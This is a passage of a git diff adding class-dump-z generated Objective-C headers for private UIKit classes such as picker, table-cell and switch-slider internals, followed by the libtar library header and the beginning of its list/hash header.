* Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIPickerView; + +__attribute__((visibility("hidden"))) +@interface _UIPickerViewSelectionBar : UIView { +@private + UIPickerView* _pickerView; +} +-(id)initWithFrame:(CGRect)frame; +-(void)setPickerView:(id)view; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/_UIPickerViewTopFrame.h b/igor/headers/dumpedUIKit/_UIPickerViewTopFrame.h new file mode 100644 index 0000000..11132d1 --- /dev/null +++ b/igor/headers/dumpedUIKit/_UIPickerViewTopFrame.h @@ -0,0 +1,28 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIImage; + +__attribute__((visibility("hidden"))) +@interface _UIPickerViewTopFrame : UIView { +@private + UIImage* _leftImage; + UIImage* _middleImage; + UIImage* _rightImage; + float _inset; +} +-(id)initWithFrame:(CGRect)frame; +-(void)setLeftImage:(id)image middleImage:(id)image2 rightImage:(id)image3; +-(void)dealloc; +-(BOOL)ignoresMouseEvents; +-(void)setInset:(float)inset; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/_UIPickerViewWrappingTableCell.h b/igor/headers/dumpedUIKit/_UIPickerViewWrappingTableCell.h new file mode 100644 index 0000000..f61c934 --- /dev/null +++ b/igor/headers/dumpedUIKit/_UIPickerViewWrappingTableCell.h @@ -0,0 +1,21 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UITableCell.h" + +@class UIView; + +__attribute__((visibility("hidden"))) +@interface _UIPickerViewWrappingTableCell : UITableCell { +@private + UIView* _wrappedView; +} +-(void)dealloc; +-(void)setWrappedView:(id)view; +-(id)wrappedView; +@end + diff --git a/igor/headers/dumpedUIKit/_UIPickerWheelView.h b/igor/headers/dumpedUIKit/_UIPickerWheelView.h new file mode 100644 index 0000000..7eb648b --- /dev/null +++ b/igor/headers/dumpedUIKit/_UIPickerWheelView.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIPickerView; + +__attribute__((visibility("hidden"))) +@interface _UIPickerWheelView : UIView { +@private + UIPickerView* _pickerView; +} +-(id)initWithFrame:(CGRect)frame; +-(void)setPickerView:(id)view; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/_UIPrefTableCellPiece.h b/igor/headers/dumpedUIKit/_UIPrefTableCellPiece.h new file mode 100644 index 0000000..7e45f1e --- /dev/null +++ b/igor/headers/dumpedUIKit/_UIPrefTableCellPiece.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIImageView.h" + + +__attribute__((visibility("hidden"))) +@interface _UIPrefTableCellPiece : UIImageView { +@private + CGRect _originalFrame; + UIView* _syncPiece; +} +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(CGRect)originalFrame; +-(void)setSyncPiece:(id)piece; +-(id)syncPiece; +@end + diff --git a/igor/headers/dumpedUIKit/_UIStretchableImage.h b/igor/headers/dumpedUIKit/_UIStretchableImage.h new file mode 100644 index 0000000..81ae1f9 --- /dev/null +++ b/igor/headers/dumpedUIKit/_UIStretchableImage.h @@ -0,0 +1,20 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIImage.h" + + +__attribute__((visibility("hidden"))) +@interface _UIStretchableImage : UIImage { +@private + int _leftCapWidth; + int _topCapHeight; +} +-(id)initWithImage:(id)image leftCapWidth:(int)width topCapHeight:(int)height; +@end + diff --git a/igor/headers/dumpedUIKit/_UISwappableImageViewAnimationProxy.h b/igor/headers/dumpedUIKit/_UISwappableImageViewAnimationProxy.h new file mode 100644 index 0000000..9edde8b --- /dev/null +++ b/igor/headers/dumpedUIKit/_UISwappableImageViewAnimationProxy.h @@ -0,0 +1,18 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + + +__attribute__((visibility("hidden"))) +@interface _UISwappableImageViewAnimationProxy : NSObject { +@private + id _originalObject; +} +-(void)animationDidStop:(id)animation finished:(BOOL)finished; +@end + diff --git a/igor/headers/dumpedUIKit/_UISwitchSlider.h b/igor/headers/dumpedUIKit/_UISwitchSlider.h new file mode 100644 index 0000000..1914e40 --- /dev/null +++ b/igor/headers/dumpedUIKit/_UISwitchSlider.h @@ -0,0 +1,50 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UISlider.h" + + +@interface _UISwitchSlider : UISlider { +@private + UIView* _labelClipView; + UIView* _onLabelView; + UIView* _offLabelView; + struct { + unsigned valueIsSingleton : 1; + unsigned hideGaps : 1; + unsigned unused : 30; + } _switchFlags; +} +-(id)init; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(id)createThumbView; +-(void)setAlternateColors:(BOOL)colors; +-(void)_initImages; +-(void)_initSubviews; +-(id)currentThumbImage; +-(CGRect)trackRectForBounds:(CGRect)bounds; +-(CGRect)thumbRectForBounds:(CGRect)bounds trackRect:(CGRect)rect value:(float)value; +-(void)updateOnLabelRectForBounds:(CGRect)bounds; +-(void)updateOffLabelRectForBounds:(CGRect)bounds; +-(CGSize)sizeThatFits:(CGSize)fits; +-(void)_layoutSubviewsForBoundsChange:(BOOL)boundsChange; +-(BOOL)beginTrackingAt:(CGPoint)at withEvent:(GSEventRef)event; +-(BOOL)continueTrackingAt:(CGPoint)at previous:(CGPoint)previous withEvent:(GSEventRef)event; +-(void)endTrackingAt:(CGPoint)at previous:(CGPoint)previous withEvent:(GSEventRef)event; +-(BOOL)cancelMouseTracking; +-(void)mouseUp:(GSEventRef)up; +-(BOOL)beginTrackingWithTouch:(id)touch withEvent:(id)event; +-(BOOL)continueTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)endTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)cancelTrackingWithEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)sendAction:(SEL)action to:(id)to forEvent:(id)event; +-(void)sendAction:(SEL)action toTarget:(id)target forEvent:(GSEventRef)event; +@end + diff --git a/igor/headers/dumpedUIKit/_UITableCellGrabber.h b/igor/headers/dumpedUIKit/_UITableCellGrabber.h new file mode 100644 index 0000000..20cbe58 --- /dev/null +++ b/igor/headers/dumpedUIKit/_UITableCellGrabber.h @@ -0,0 +1,35 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIControl.h" + +@class UITableCell; + +__attribute__((visibility("hidden"))) +@interface _UITableCellGrabber : UIControl { +@private + UITableCell* _cell; + CGPoint _downPoint; +} +-(id)initWithCell:(id)cell; +-(void)drawRect:(CGRect)rect; +-(BOOL)shouldTrack; +-(BOOL)beginTrackingAt:(CGPoint)at withEvent:(GSEventRef)event; +-(BOOL)continueTrackingAt:(CGPoint)at previous:(CGPoint)previous withEvent:(GSEventRef)event; +-(void)endTrackingAt:(CGPoint)at previous:(CGPoint)previous withEvent:(GSEventRef)event; +-(BOOL)beginTrackingWithTouch:(id)touch withEvent:(id)event; +-(BOOL)continueTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)endTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)cancelTrackingWithEvent:(id)event; +-(void)_controlMouseDown:(GSEventRef)down; +-(void)_controlMouseUp:(GSEventRef)up; +-(void)_controlMouseDragged:(GSEventRef)dragged; +-(BOOL)cancelMouseTracking; +-(BOOL)cancelTouchTracking; +@end + diff --git a/igor/headers/dumpedUIKit/_UITableCellTransientData.h b/igor/headers/dumpedUIKit/_UITableCellTransientData.h new file mode 100644 index 0000000..748704e --- /dev/null +++ b/igor/headers/dumpedUIKit/_UITableCellTransientData.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class UIView, UIControl, UIRemoveControl; + +__attribute__((visibility("hidden"))) +@interface _UITableCellTransientData : NSObject { +@private + UIRemoveControl* _removeControl; + UIControl* _grabber; + UIView* _separator; + unsigned _reorderingEnabled : 1; + unsigned _hidSeparatorForRemoveConfirmation : 1; + unsigned _reserved : 30; +} +-(BOOL)dataRequired; +@end + diff --git a/igor/headers/dumpedUIKit/_UITableDeleteAnimationSupport.h b/igor/headers/dumpedUIKit/_UITableDeleteAnimationSupport.h new file mode 100644 index 0000000..d95aceb --- /dev/null +++ b/igor/headers/dumpedUIKit/_UITableDeleteAnimationSupport.h @@ -0,0 +1,21 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSMutableArray; + +__attribute__((visibility("hidden"))) +@interface _UITableDeleteAnimationSupport : NSObject { +@private + NSMutableArray* _cellsToDeleteAfterAnimation; + int _deleteCount; + unsigned _enabledStateBeforeDeleteAnimation : 1; + unsigned _reserved : 30; +} +@end + diff --git a/igor/headers/dumpedUIKit/_UITableReorderingSupport.h b/igor/headers/dumpedUIKit/_UITableReorderingSupport.h new file mode 100644 index 0000000..54ee342 --- /dev/null +++ b/igor/headers/dumpedUIKit/_UITableReorderingSupport.h @@ -0,0 +1,29 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSArray, UIShadowView, NSTimer; + +__attribute__((visibility("hidden"))) +@interface _UITableReorderingSupport : NSObject { +@private + NSArray* _reorderedCells; + unsigned _reorderedRow; + unsigned _emptySpaceRow; + unsigned _lastVisibleRowLocation; + unsigned _oldShowScrollerIndicators : 1; + unsigned _delegateImplementsCanMoveRow : 1; + unsigned _delegateImplementsMoveDestinationRow : 1; + unsigned _bottomShadowNeedsToMove : 1; + unsigned _reserved : 28; + NSTimer* _autoscrollTimer; + UIShadowView* _topShadowView; + UIShadowView* _bottomShadowView; +} +@end + diff --git a/igor/headers/dumpedUIKit/_UITableViewCellDeleteConfirmationControl.h b/igor/headers/dumpedUIKit/_UITableViewCellDeleteConfirmationControl.h new file mode 100644 index 0000000..ef3b788 --- /dev/null +++ b/igor/headers/dumpedUIKit/_UITableViewCellDeleteConfirmationControl.h @@ -0,0 +1,28 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIControl.h" + +@class NSString; + +__attribute__((visibility("hidden"))) +@interface _UITableViewCellDeleteConfirmationControl : UIControl { +@private + NSString* _title; +} +@property(readonly, assign, nonatomic) NSString* title; +@property(readonly, assign, nonatomic) CGSize size; ++(CGSize)defaultSizeForTitle:(id)title; ++(id)_backgroundImage; ++(id)_highlightedBackgroundImage; +-(id)initWithTitle:(id)title; +-(void)dealloc; +-(void)drawBackgroundInRect:(CGRect)rect; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/_UITableViewCellGrabber.h b/igor/headers/dumpedUIKit/_UITableViewCellGrabber.h new file mode 100644 index 0000000..b49d9c0 --- /dev/null +++ b/igor/headers/dumpedUIKit/_UITableViewCellGrabber.h @@ -0,0 +1,28 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIControl.h" + +@class UITableViewCell; + +__attribute__((visibility("hidden"))) +@interface _UITableViewCellGrabber : UIControl { +@private + UITableViewCell* _cell; + CGPoint _downPoint; +} ++(id)grabberImage; +-(id)initWithFrame:(CGRect)frame tableViewCell:(id)cell; +-(void)drawRect:(CGRect)rect; +-(BOOL)shouldTrack; +-(BOOL)beginTrackingWithTouch:(id)touch withEvent:(id)event; +-(BOOL)continueTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)endTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)cancelTrackingWithEvent:(id)event; +@end + diff --git a/igor/headers/dumpedUIKit/_UITableViewCellOldEditingData.h b/igor/headers/dumpedUIKit/_UITableViewCellOldEditingData.h new file mode 100644 index 0000000..73c970e --- /dev/null +++ b/igor/headers/dumpedUIKit/_UITableViewCellOldEditingData.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class UIView, UIControl, UIRemoveControl; + +__attribute__((visibility("hidden"))) +@interface _UITableViewCellOldEditingData : NSObject { +@private + UIRemoveControl* _removeControl; + UIControl* _grabber; + UIView* _separator; +} +@property(retain, nonatomic) UIControl* reorderControl; +@property(retain, nonatomic) UIView* separatorView; +-(BOOL)dataRequired; +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/_UITableViewCellRemoveControl.h b/igor/headers/dumpedUIKit/_UITableViewCellRemoveControl.h new file mode 100644 index 0000000..fb0c379 --- /dev/null +++ b/igor/headers/dumpedUIKit/_UITableViewCellRemoveControl.h @@ -0,0 +1,20 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIRemoveControl.h" + + +__attribute__((visibility("hidden"))) +@interface _UITableViewCellRemoveControl : UIRemoveControl { +@private + float _verticalOffset; +} +-(id)initWithTarget:(id)target; +-(float)_verticalOffsetFromTarget; +@end + diff --git a/igor/headers/dumpedUIKit/_UITableViewDeleteAnimationSupport.h b/igor/headers/dumpedUIKit/_UITableViewDeleteAnimationSupport.h new file mode 100644 index 0000000..fbbe8fc --- /dev/null +++ b/igor/headers/dumpedUIKit/_UITableViewDeleteAnimationSupport.h @@ -0,0 +1,21 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSMutableArray; + +__attribute__((visibility("hidden"))) +@interface _UITableViewDeleteAnimationSupport : NSObject { +@private + NSMutableArray* _cellsToDeleteAfterAnimation; + int _deleteCount; + unsigned _enabledStateBeforeDeleteAnimation : 1; + unsigned _reserved : 30; +} +@end + diff --git a/igor/headers/dumpedUIKit/_UITableViewReorderingSupport.h b/igor/headers/dumpedUIKit/_UITableViewReorderingSupport.h new file mode 100644 index 0000000..12876bc --- /dev/null +++ b/igor/headers/dumpedUIKit/_UITableViewReorderingSupport.h @@ -0,0 +1,28 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSTimer, NSIndexPath, UIShadowView, UITableViewCell; + +__attribute__((visibility("hidden"))) +@interface _UITableViewReorderingSupport : NSObject { +@private + UITableViewCell* _reorderedCell; + NSIndexPath* _initialIndexPath; + NSIndexPath* _targetIndexPath; + unsigned _oldShowHorizontalScrollIndicator : 1; + unsigned _oldShowVerticalScrollIndicator : 1; + unsigned _bottomShadowNeedsToMove : 1; + unsigned _reserved : 29; + NSTimer* _autoscrollTimer; + UIShadowView* _topShadowView; + UIShadowView* _bottomShadowView; + BOOL _wasScrollingEnabled; +} +@end + diff --git a/igor/headers/dumpedUIKit/_UITableViewSeparatorView.h b/igor/headers/dumpedUIKit/_UITableViewSeparatorView.h new file mode 100644 index 0000000..fc68181 --- /dev/null +++ b/igor/headers/dumpedUIKit/_UITableViewSeparatorView.h @@ -0,0 +1,23 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UITableView, UITableViewCell; + +__attribute__((visibility("hidden"))) +@interface _UITableViewSeparatorView : UIView { +@private + UITableViewCell* _tableCell; + UITableView* _table; +} +-(id)initWithTableCell:(id)tableCell; +-(id)initWithFrame:(CGRect)frame withTable:(id)table; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/_UITableViewUpdateSupport.h b/igor/headers/dumpedUIKit/_UITableViewUpdateSupport.h new file mode 100644 index 0000000..c0e781c --- /dev/null +++ b/igor/headers/dumpedUIKit/_UITableViewUpdateSupport.h @@ -0,0 +1,68 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "_UITableViewUpdateSupport.h" +#import "UIKit-Structs.h" + +@class NSMutableIndexSet, UITableViewRowData, UITableView, NSArray, NSMutableArray; + +__attribute__((visibility("hidden"))) +@interface _UITableViewUpdateSupport : NSObject { +@private + int oldSection; + int newSection; + int oldGlobalRow; + int newGlobalRow; + UITableView* tableView; + NSRange visibleRows; + NSArray* updateItems; + UITableViewRowData* oldRowData; + UITableViewRowData* newRowData; + NSRange oldRowRange; + NSRange newRowRange; + NSMutableIndexSet* rows; + CGRect oldTableViewVisibleBounds; + CGRect newTableViewVisibleBounds; + CGRect tableViewVisibleBoundsUnion; + float tableViewVisibleBoundsOffset; + int oldSectionCount; + int newSectionCount; + int* oldSectionMap; + int* newSectionMap; + int oldGlobalRowCount; + int newGlobalRowCount; + int* oldGlobalRowMap; + int* newGlobalRowMap; + UIView** animatedCells; + UIView** animatedHeaders; + UIView** animatedFooters; + int globalReorderingRow; + id _context; + NSMutableArray* viewAnimations; +} +-(id)initWithTableView:(id)tableView updateItems:(id)items oldRowData:(id)data newRowData:(id)data4 oldRowRange:(NSRange)range newRowRange:(NSRange)range6 context:(id)context; +-(void)dealloc; +@end + +@interface _UITableViewUpdateSupport (Private) +-(void)_validateAnimatedCells; +-(BOOL)_isReloadSectionUpdate; +-(void)_computeVisibleBounds; +-(void)_computeSectionUpdates; +-(void)_computeRowUpdates; +-(void)_setupAnimationStructures; +-(void)_setupAnimationsForExistingVisibleCells; +-(void)_setupAnimationForReorderingRow; +-(void)_setupAnimationsForNewlyInsertedCells; +-(id)_imageViewForView:(id)view; +-(void)_setupAnimationsForDeletedCells; +-(void)_setupAnimationsForExistingOffscreenCells; +-(void)_setupAnimationsForExistingHeadersAndFooters; +-(void)_setupAnimationForTableFooter; +@end + diff --git a/igor/headers/dumpedUIKit/_UIWindowLayer.h b/igor/headers/dumpedUIKit/_UIWindowLayer.h new file mode 100644 index 0000000..bcc44e0 --- /dev/null +++ b/igor/headers/dumpedUIKit/_UIWindowLayer.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "UIKit-Structs.h" + + +__attribute__((visibility("hidden"))) +@interface _UIWindowLayer : CALayer { +} +-(id)init; +-(void)setPosition:(CGPoint)position; +-(CGPoint)position; +-(void)setAffineTransform:(CGAffineTransform)transform; +-(CGAffineTransform)affineTransform; +-(CGRect)frame; +@end + diff --git a/igor/headers/libtar.h b/igor/headers/libtar.h new file mode 100644 index 0000000..0a26970 --- /dev/null +++ b/igor/headers/libtar.h @@ -0,0 +1,298 @@ +/* +** Copyright 1998-2003 University of Illinois Board of Trustees +** Copyright 1998-2003 Mark D. Roth +** All rights reserved. +** +** libtar.h - header file for libtar library +** +** Mark D. Roth +** Campus Information Technologies and Educational Services +** University of Illinois at Urbana-Champaign +*/ + +#ifndef LIBTAR_H +#define LIBTAR_H + +#include +#include +#include + +#include "libtar_listhash.h" + +#ifdef __cplusplus +extern "C" +{ +#endif + + +/* useful constants */ +#define T_BLOCKSIZE 512 +#define T_NAMELEN 100 +#define T_PREFIXLEN 155 +#define T_MAXPATHLEN (T_NAMELEN + T_PREFIXLEN) + +/* GNU extensions for typeflag */ +#define GNU_LONGNAME_TYPE 'L' +#define GNU_LONGLINK_TYPE 'K' + +/* our version of the tar header structure */ +struct tar_header +{ + char name[100]; + char mode[8]; + char uid[8]; + char gid[8]; + char size[12]; + char mtime[12]; + char chksum[8]; + char typeflag; + char linkname[100]; + char magic[6]; + char version[2]; + char uname[32]; + char gname[32]; + char devmajor[8]; + char devminor[8]; + char prefix[155]; + char padding[12]; + char *gnu_longname; + char *gnu_longlink; +}; + + +/***** handle.c ************************************************************/ + +typedef int (*openfunc_t)(const char *, int, ...); +typedef int (*closefunc_t)(int); +typedef ssize_t (*readfunc_t)(int, void *, size_t); +typedef ssize_t (*writefunc_t)(int, const void *, size_t); + +typedef struct +{ + openfunc_t openfunc; + closefunc_t closefunc; + readfunc_t readfunc; + writefunc_t writefunc; +} +tartype_t; + +typedef struct +{ + tartype_t *type; + char *pathname; + long fd; + int oflags; + int options; + struct tar_header th_buf; + libtar_hash_t *h; + openfunc_t open; +} +TAR; + +/* constant values for the TAR options field */ +#define TAR_GNU 1 /* use GNU extensions */ +#define TAR_VERBOSE 2 /* output file info to stdout */ +#define TAR_NOOVERWRITE 4 /* don't overwrite existing files */ +#define TAR_IGNORE_EOT 8 /* ignore double zero blocks as EOF */ +#define TAR_CHECK_MAGIC 16 /* check magic in file header */ +#define TAR_CHECK_VERSION 32 /* check version in file header */ +#define TAR_IGNORE_CRC 64 /* ignore CRC in file header */ + +/* this is obsolete - it's here for backwards-compatibility only */ +#define TAR_IGNORE_MAGIC 0 + +extern const char libtar_version[]; + + +/* open a new tarfile handle */ +int tar_open(TAR **t, char *pathname, tartype_t *type, + int oflags, int mode, int options); + +/* make a tarfile handle out of a previously-opened descriptor */ +int tar_fdopen(TAR **t, int fd, char *pathname, tartype_t *type, + int oflags, int mode, int options); + +/* returns the descriptor associated with t */ +int tar_fd(TAR *t); + +/* close tarfile handle */ +int tar_close(TAR *t); + + +/***** append.c ************************************************************/ + +/* forward declaration to appease the compiler */ +struct tar_dev; + +/* cleanup function */ +void tar_dev_free(struct tar_dev *tdp); + +/* Appends a file to the tar archive. + * Arguments: + * t = TAR handle to append to + * realname = path of file to append + * savename = name to save the file under in the archive + */ +int tar_append_file(TAR *t, char *realname, char *savename); + +/* write EOF indicator */ +int tar_append_eof(TAR *t); + +/* add file contents to a tarchive */ +int tar_append_regfile(TAR *t, char *realname); + + +/***** block.c *************************************************************/ + +/* macros for reading/writing tarchive blocks */ +#define tar_block_read(t, buf) \ + (*((t)->type->readfunc))((t)->fd, (char *)(buf), T_BLOCKSIZE) +#define tar_block_write(t, buf) \ + (*((t)->type->writefunc))((t)->fd, (char *)(buf), T_BLOCKSIZE) + +/* read/write a header block */ +int th_read(TAR *t); +int th_write(TAR *t); + + +/***** decode.c ************************************************************/ + +/* determine file type */ +#define TH_ISREG(t) ((t)->th_buf.typeflag == REGTYPE \ + || (t)->th_buf.typeflag == AREGTYPE \ + || (t)->th_buf.typeflag == CONTTYPE \ + || (S_ISREG((mode_t)oct_to_int((t)->th_buf.mode)) \ + && (t)->th_buf.typeflag != LNKTYPE)) +#define TH_ISLNK(t) ((t)->th_buf.typeflag == LNKTYPE) +#define TH_ISSYM(t) ((t)->th_buf.typeflag == SYMTYPE \ + || S_ISLNK((mode_t)oct_to_int((t)->th_buf.mode))) +#define TH_ISCHR(t) ((t)->th_buf.typeflag == CHRTYPE \ + || S_ISCHR((mode_t)oct_to_int((t)->th_buf.mode))) +#define TH_ISBLK(t) ((t)->th_buf.typeflag == BLKTYPE \ + || S_ISBLK((mode_t)oct_to_int((t)->th_buf.mode))) +#define TH_ISDIR(t) ((t)->th_buf.typeflag == DIRTYPE \ + || S_ISDIR((mode_t)oct_to_int((t)->th_buf.mode)) \ + || ((t)->th_buf.typeflag == AREGTYPE \ + && ((t)->th_buf.name[strlen((t)->th_buf.name) - 1] == '/'))) +#define TH_ISFIFO(t) ((t)->th_buf.typeflag == FIFOTYPE \ + || S_ISFIFO((mode_t)oct_to_int((t)->th_buf.mode))) +#define TH_ISLONGNAME(t) ((t)->th_buf.typeflag == GNU_LONGNAME_TYPE) +#define TH_ISLONGLINK(t) ((t)->th_buf.typeflag == GNU_LONGLINK_TYPE) + +/* decode tar header info */ +#define th_get_crc(t) oct_to_int((t)->th_buf.chksum) +#define th_get_size(t) oct_to_int((t)->th_buf.size) +#define th_get_mtime(t) oct_to_int((t)->th_buf.mtime) +#define th_get_devmajor(t) oct_to_int((t)->th_buf.devmajor) +#define th_get_devminor(t) oct_to_int((t)->th_buf.devminor) +#define th_get_linkname(t) ((t)->th_buf.gnu_longlink \ + ? (t)->th_buf.gnu_longlink \ + : (t)->th_buf.linkname) +char *th_get_pathname(TAR *t); +mode_t th_get_mode(TAR *t); +uid_t th_get_uid(TAR *t); +gid_t th_get_gid(TAR *t); + + +/***** encode.c ************************************************************/ + +/* encode file info in th_header */ +void th_set_type(TAR *t, mode_t mode); +void th_set_path(TAR *t, char *pathname); +void th_set_link(TAR *t, char *linkname); +void th_set_device(TAR *t, dev_t device); +void th_set_user(TAR *t, uid_t uid); +void th_set_group(TAR *t, gid_t gid); +void th_set_mode(TAR *t, mode_t fmode); +#define th_set_mtime(t, fmtime) \ + int_to_oct_nonull((fmtime), (t)->th_buf.mtime, 12) +#define th_set_size(t, fsize) \ + int_to_oct_nonull((fsize), (t)->th_buf.size, 12) + +/* encode everything at once (except the pathname and linkname) */ +void th_set_from_stat(TAR *t, struct stat *s); + +/* encode magic, version, and crc - must be done after everything else is set */ +void th_finish(TAR *t); + + +/***** extract.c ***********************************************************/ + +int tar_set_openfunc(TAR *t, openfunc_t open); + +/* sequentially extract next file from t */ +int tar_extract_file(TAR *t, char *realname); + +/* extract different file types */ +int tar_extract_dir(TAR *t, char *realname); +int tar_extract_hardlink(TAR *t, char *realname); +int tar_extract_symlink(TAR *t, char *realname); +int tar_extract_chardev(TAR *t, char *realname); +int tar_extract_blockdev(TAR *t, char *realname); +int tar_extract_fifo(TAR *t, char *realname); + +/* for regfiles, we need to extract the content blocks as well */ +int tar_extract_regfile(TAR *t, char *realname); +int tar_skip_regfile(TAR *t); + + +/***** output.c ************************************************************/ + +/* print the tar header */ +void th_print(TAR *t); + +/* print "ls -l"-like output for the file described by th */ +void th_print_long_ls(TAR *t); + + +/***** util.c *************************************************************/ + +/* hashing function for pathnames */ +int path_hashfunc(char *key, int numbuckets); + +/* matching function for dev_t's */ +int dev_match(dev_t *dev1, dev_t *dev2); + +/* matching function for ino_t's */ +int ino_match(ino_t *ino1, ino_t *ino2); + +/* hashing function for dev_t's */ +int dev_hash(dev_t *dev); + +/* hashing function for ino_t's */ +int ino_hash(ino_t *inode); + +/* create any necessary dirs */ +int mkdirhier(char *path); + +/* calculate header checksum */ +int th_crc_calc(TAR *t); +#define th_crc_ok(t) (th_get_crc(t) == th_crc_calc(t)) + +/* string-octal to integer conversion */ +int oct_to_int(char *oct); + +/* integer to NULL-terminated string-octal conversion */ +#define int_to_oct(num, oct, octlen) \ + snprintf((oct), (octlen), "%*lo ", (octlen) - 2, (unsigned long)(num)) + +/* integer to string-octal conversion, no NULL */ +void int_to_oct_nonull(int num, char *oct, size_t octlen); + + +/***** wrapper.c **********************************************************/ + +/* extract groups of files */ +int tar_extract_glob(TAR *t, char *globname, char *prefix); +int tar_extract_all(TAR *t, char *prefix); + +/* add a whole tree of files */ +int tar_append_tree(TAR *t, char *realdir, char *savedir); + + +#ifdef __cplusplus +} +#endif + +#endif /* ! LIBTAR_H */ + diff --git a/igor/headers/libtar_listhash.h b/igor/headers/libtar_listhash.h new file mode 100644 index 0000000..fa33cfd --- /dev/null +++ b/igor/headers/libtar_listhash.h @@ -0,0 +1,196 @@ +/* listhash/libtar_listhash.h. Generated from listhash.h.in by configure. */ + +/* +** Copyright 1998-2002 University of Illinois Board of Trustees +** Copyright 1998-2002 Mark D. Roth +** All rights reserved. +** +** libtar_listhash.h - header file for listhash module +** +** Mark D. Roth +** Campus Information Technologies and Educational Services +** University of Illinois at Urbana-Champaign +*/ + +#ifndef libtar_LISTHASH_H +#define libtar_LISTHASH_H + + +/***** list.c 